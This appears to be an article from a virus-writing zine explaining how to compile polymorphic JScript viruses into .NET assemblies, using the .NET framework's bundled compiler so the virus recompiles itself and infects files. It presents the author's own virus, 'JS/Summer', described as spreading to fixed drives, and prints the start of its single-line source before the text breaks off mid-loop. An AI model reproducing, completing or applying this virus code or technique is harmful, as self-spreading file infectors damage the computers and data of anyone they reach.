Hidden in .NET by hh86 .NET Compilers Microsoft decided to include compilers along with the .NET framework that is available pretty much in every computer of the world running Windows. Compilers include one for JScript .NET. So, we can compile our JScript virus source into .NET assembly. Imagine you have polymorphic JScript virus, it is transformed to MSIL code, what is the result? One great .NET assembly that looks very different than previous one, so in each computer you can generate multiple polymorphic or even more complex instances of the virus running and spreading as exe file. This is much more powerful technique than using JS2EXE tools. ;) Since now you can infect files and recompile yourself! How hidden? Source code will be encoded as UTF-16LE string (no BOM present because every string is stored in this format). They are stored in the MetaData section. When running, it will use the VSA Engine to run our script. This looks like an easy way to host and run the script, however, this gets as complex as the source code is. One of the problems for me was to make a JScript file infector, how was I going to retrieve my source code? After some examination I found this, and I knew reflections must be available. JScript always had its reflection system (in part, because of the Function() object, we can create a function to be in a variable), so we don't need to open our own file and get the code, really. How we do it We just need access to .NET Framework directory "Microsoft .NET\Framework". The detail here is there will be multiple versions of the framework. I choose to go using the last one, 4.0. Here is my virus JS/Summer, *must* be single-line, run carefully: it spreads to fixed drives if possible. g();function g(){;f=new ActiveXObject("Scripting.FileSystemObject");n=f.GetSpecialFolder(0)+"\\Microsoft.NET\\Framework\\v4.0.30319\\";c="g();"+g;v="v=[]";for(i=0;i